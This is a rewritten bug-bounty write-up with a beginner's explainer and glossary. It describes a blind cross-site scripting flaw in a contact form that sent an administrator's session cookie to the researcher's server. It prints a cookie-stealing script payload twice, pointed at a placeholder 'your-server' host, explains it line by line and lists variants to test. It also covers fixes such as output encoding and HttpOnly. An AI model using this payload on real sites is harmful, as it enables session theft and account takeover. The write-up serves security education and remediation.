How I took over an admin panel and got $500
A contact form was vulnerable to blind cross-site scripting, allowing an attacker to inject a script that executed in an administrator's browser and sent the administrator's session cookie to the attacker's server. The attacker could then use that cookie to take over the admin panel.
Published on medium.com
My report on how the admin panel took over and I got X, $500 bounty from my report Hello hackers,
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a short write-up by Muhammed Mubarak about a blind cross-site scripting (XSS) finding that led to the takeover of an admin panel and a $500 bounty. The report does not name the target program or the product; the only URL fragment it gives is a contact page on a subdomain, written in the report as https://www.targert.com/contactus. The vulnerable feature is a contact form: a public form whose submissions are later read by staff, in this case an administrator.
The report opens with a definition: blind XSS is a type of stored XSS where the payload executes when the victim visits the vulnerable page. The researcher cannot see an alert box fire, because the execution happens in someone else's browser, so the payload instead sends a request back to a server the researcher controls.
Setup
The report lists the following tools and preconditions:
- Subdomain enumeration with
assentfinder,amas,subfinder,sublist3rtandfindomain(spellings as they appear in the report). - A server the researcher controls, to receive callbacks.
- Optionally, the tools
XSShunterandXSSreportfor testing blind XSS. - A target form that deals with people who have a role in the website, such as a feedback form, a contact form, or any form whose content is read by staff.
No account, role, version number or header is described in the report.
Finding it
The researcher enumerates subdomains with the tools above and picks one that exposes a contact page, written in the report as https://www.targert.com/contactus. The report notes that blind XSS is likely to be found on a feedback form, a contact form, or any form that deals with people who have a role on the website.
Exploitation
Step 1: Choose a callback payload
The report gives this payload for testing blind XSS:
“><script>document.location= “http://your-server/?cookie=" + document.cookie</script>
The payload closes an attribute and a tag with ">, then opens a script element. Inside it, document.location is set to the researcher's server with the victim's document.cookie appended as a query parameter. If the form is vulnerable, the researcher sees a request on their server and can read the cookie from it. The report notes that the payload can also be tested with XSShunter or XSSreport.
Step 2: Submit the payload through the contact form
The researcher browses the contact subdomain, puts the payload into all the inputs, and submits the form. Nothing visible happens at submission time, which is expected for blind XSS.
Step 3: Wait for the callback
Two days after the form was submitted, a request arrived on the researcher's server. This confirms that the stored payload had been rendered and executed in a browser other than the researcher's own.
Step 4: Confirm the context of execution
The report addresses the obvious question of how the researcher knew the payload executed in the admin panel: after seeing the code, the researcher could see the sysadmin in it. The report refers to a picture at this point but does not describe the request, the cookie value or the page source in text.
Step 5: Report and triage
The bug was submitted, and two days later the status changed to Triaged. The researcher then received the bounty, which the report gives as $500.
Root cause
The report does not analyse the server-side code. What it establishes is that user-supplied input from the contact form was stored and later rendered to an administrator without adequate output encoding, so the injected script element executed in the administrator's session. Why existing defences did not stop it is not stated.
Impact
The payload reads document.cookie in the administrator's browser and sends it to the researcher's server. If the session cookie is not protected against script access, possession of it allows the attacker to act as the administrator, which is what the report means by taking over the admin panel. The report does not state which cookie attributes were set, whether the cookie was sufficient on its own to authenticate, or what actions were taken with the session. The impact depends on an administrator opening the page where the stored submission is displayed; here a request arrived on the researcher's server two days after submission.
Fix
The measure that addresses the root cause is to encode stored user input on output in the context where it is rendered, so that form submissions are displayed as text rather than parsed as markup, and to protect session cookies with HttpOnly so that script cannot read them.
Variants to test
- Contact, feedback and support forms whose submissions are read by staff. A positive result is an inbound request to your server carrying the victim's cookie, as in this report.
- Any form that feeds an internal dashboard, ticketing queue or admin review screen. A positive result is a callback that arrives only after an internal user opens the record, which distinguishes blind XSS from reflected XSS.
- The same payload placed in every input of a form, as the researcher did here, rather than in a single field. A positive result is a callback to your server, as in this report.
- Use XSShunter or XSSreport alongside a manual payload to widen coverage across fields and pages. The report mentions XSShunter and XSSreport as tools for testing blind XSS.
What happened, in plain words
A security researcher found a way to make an administrator's own web browser hand over the administrator's login session to him. He did it by typing a small piece of code into an ordinary contact form on a company website. The form saved what he typed, and two days later an administrator opened the page that displayed the saved message. The code ran inside the administrator's browser and sent a request to a server the researcher controlled, which the report describes as taking over the admin panel. The company paid him $500 for the report.
The report does not name the company or the product. The only address it gives is a contact page on a subdomain, written in the report as https://www.targert.com/contactus.
Before going further, a few words that will come up constantly.
A cookie is a small piece of text that a website asks your browser to keep and to send back with every later request to that site. Think of it like the wristband you get at a festival: you show it once at the gate, and after that staff let you into the areas your wristband allows without asking for your ID again. A session cookie is the wristband that says "this person is already logged in". If someone else copies your wristband, they can walk around as you.
JavaScript is the programming language that web pages run inside your browser. It is what makes menus open, forms validate and pages update without reloading. It can also read things the browser holds, including cookies, unless the site has taken steps to prevent that.
XSS, short for cross-site scripting, is a class of bug where an attacker manages to get their own JavaScript into a page that other people view. The site thinks it is showing ordinary text, but the browser treats part of it as code and runs it.
Stored XSS is the version where the malicious text is saved by the site (in a database, a comment table, a support queue) and shown later to whoever views that saved content. Blind XSS is a sub-type of stored XSS: the attacker never sees the result in their own browser, because the saved content is displayed somewhere only staff can see, such as an internal admin screen. The report puts it this way: the payload executes when the victim visits the vulnerable page, and you cannot see the pop-up alert because it fires in someone else's browser.
Because you cannot watch it happen, you make the payload phone home. Instead of showing an alert, the code quietly contacts a server you control. When your server receives that call, you know the code ran, and you can see what it sent.
How to test a website for blind XSS
The report explains where blind XSS is likely to hide: a feedback form, a contact form, or any form that deals with people who have a role on the website. The reasoning is simple. A contact form is filled in by outsiders but read by insiders. Whatever you type is stored and later shown to a member of staff, and that member of staff is the "victim" whose browser will run your code.
The report gives this payload for testing:
“><script>document.location= “http://your-server/?cookie=" + document.cookie</script>
Line by line, in plain words:
“>is a way of breaking out of whatever place the site expected your text to sit. Web pages are built from HTML, the markup language that describes a page's structure, and HTML uses angle brackets to mark where elements start and end. If the site puts your input inside an attribute of a tag, the"closes that attribute early and the>closes the tag, so everything after it is treated as fresh markup rather than as text.<script>opens a script element. Everything until</script>is treated as JavaScript and run by the browser.document.location = ...tells the browser to navigate to a new address. Setting it is like typing a URL into the address bar and pressing Enter, except the code does it without asking."http://your-server/?cookie="is the address of the researcher's own server, with a query string started. A query string is the part of a URL after the?, used to pass small pieces of data; here it is a labelled slot waiting for a value.+ document.cookieglues the browser's cookies for the current site onto the end of that address.document.cookieis the JavaScript property that exposes them.</script>closes the script element.
The net effect: if the site is vulnerable, the victim's browser leaves the site and requests http://your-server/?cookie= followed by the victim's cookies. The researcher's server log then contains the cookie, and the researcher can read it. The report states exactly this: if the form is vulnerable, you will see a request on your server and can now steal the cookie.
The report also mentions two tools that automate this kind of testing: XSShunter and XSSreport. The report also mentions two tools for testing blind XSS: XSShunter and XSSreport.
How the bug was found
Step 1: Collect subdomains
A subdomain is a smaller address under a main domain. If a company owns example.com, then shop.example.com and support.example.com are subdomains. Large organisations run many of them, and older or forgotten ones are often less carefully maintained than the main site, which is why researchers map them out first. The report lists the tools used for this: assentfinder, amas, subfinder, sublist3rt and findomain (spellings as they appear in the report). These tools gather subdomain names from public sources such as certificate records and search engines.
Step 2: Pick a promising page
Among the results, the researcher found a subdomain with a contact page, written in the report as https://www.targert.com/contactus. He browsed it. The choice matters: a contact page is a form whose contents are stored and later read by staff, which is exactly the situation blind XSS needs.
Step 3: Put the payload in every input and submit
The researcher placed the payload in all the inputs of the form and submitted it. At submission time nothing visible happens, and that is expected. The code is now sitting in the site's storage, waiting for someone to view it.
Step 4: Wait for the callback
Two days after the form was submitted, a request arrived on the researcher's server. That request is the proof: the stored text had been rendered on a page that some other browser loaded, and that browser had run the script. The report does not explain the delay.
Step 5: Confirm who ran it
The report raises the obvious question: how did the researcher know the payload executed in the admin panel? His answer is that after seeing the code, he could see the sysadmin in it. The report says that after seeing the code, he could see the sysadmin in it. The report points to a picture at this point but does not describe the request, the cookie value or the page source in text.
Step 6: Report it and get paid
The researcher submitted the bug. Two days later the status changed to Triaged, which is the stage where the receiving team has reviewed a report and accepted that it describes a real issue worth working on. After that he received the bounty, which the report gives as $500.
Why it worked
The report does not analyse the server-side code, so the mechanism below is the general explanation of this class of bug rather than a description of this specific program.
If it stores what you typed and later drops it into a page without output encoding, the browser cannot tell your text apart from the site's own HTML. Encoding means converting characters that have special meaning in HTML, such as < and >, into harmless equivalents so they display as literal characters. Done correctly, the admin would see the payload as text on screen and nothing would run. Done incorrectly, the browser sees a real <script> tag and obeys it.
Two further defences could have stopped the outbound request even then: a Content Security Policy, a header a site can send to tell the browser which sources of script are allowed, and the HttpOnly flag on the session cookie, which makes the cookie invisible to JavaScript.
What the impact was
The payload reads document.cookie in the administrator's browser and sends it to the researcher's server. If the session cookie is not protected against script access, holding a copy of it lets the attacker act as the administrator, which is what the report means by taking over the admin panel. The impact also depends on an administrator opening the page where the stored submission is displayed; here a request arrived on the researcher's server two days after submission.
How to fix it
The measure that addresses the root cause is to encode stored user input on output, in the context where it is rendered, so that form submissions are displayed as text rather than parsed as markup. Alongside that, session cookies should carry the HttpOnly flag so that script cannot read them.
Variants worth testing
- Contact, feedback and support forms whose submissions are read by staff. A positive result is an inbound request to your server carrying the victim's cookie, as in this report.
- Any form that feeds an internal dashboard, ticketing queue or admin review screen. A positive result is a callback that arrives only after an internal user opens the record, which is what separates blind XSS from reflected XSS (where the code bounces straight back in your own response and you see it immediately).
- The same payload placed in every input of a form, as the researcher did here, rather than in a single field. A positive result is a callback to your server, as in this report.
- Use XSShunter or XSSreport alongside a manual payload to widen coverage across fields and pages. The report mentions XSShunter and XSSreport as tools for testing blind XSS.
Glossary
- Administrator / admin panel: a logged-in area of a website reserved for staff who manage it; access to it is what the attacker gained here.
- Blind XSS: stored XSS where the injected code runs in someone else's browser, typically staff-only, so the attacker never sees it directly and relies on a callback instead.
- Bounty: a payment a company makes to a researcher who reports a valid security bug.
- Callback: a request that the injected code makes to a server the researcher controls, used as proof that the code ran.
- Content Security Policy: a header a site can send to restrict which scripts the browser is allowed to run and where they may send data.
- Cookie: a small piece of text a site asks the browser to store and send back on later requests; a session cookie identifies a logged-in user.
- Cross-site scripting (XSS): a bug class where an attacker gets their own JavaScript into a page viewed by others.
document.cookie: the JavaScript property that exposes the current site's cookies to page scripts.document.location: the JavaScript property that holds the current page address; assigning to it makes the browser navigate.- HTML: the markup language that describes the structure of a web page, using tags in angle brackets.
HttpOnly: a cookie flag that hides the cookie from JavaScript, so script cannot read or steal it.- Input: any field on a page where a user types or pastes data, such as a text box on a form.
- JavaScript: the programming language web pages run inside the browser.
- Output encoding: converting characters with special meaning in HTML into harmless equivalents so user text is displayed as text, not parsed as markup.
- Payload: the piece of code an attacker submits, designed to be executed by the victim's browser.
- Query string: the part of a URL after the
?, used to pass small pieces of data to the server. - Reflected XSS: XSS where the injected code comes straight back in the response to the attacker's own request, so it is visible immediately.
- Session cookie: the cookie that tells a site which logged-in user is making a request.
- Stored XSS: XSS where the malicious input is saved by the site and shown later to whoever views it.
- Subdomain: an address under a main domain, such as
shop.example.comunderexample.com. - Subdomain enumeration: the process of discovering a organisation's subdomains using public sources and tools.
- Triaged: the status meaning a receiving team has reviewed a report and accepted it as a real issue.
- Victim: the person whose browser runs the attacker's code, here an administrator.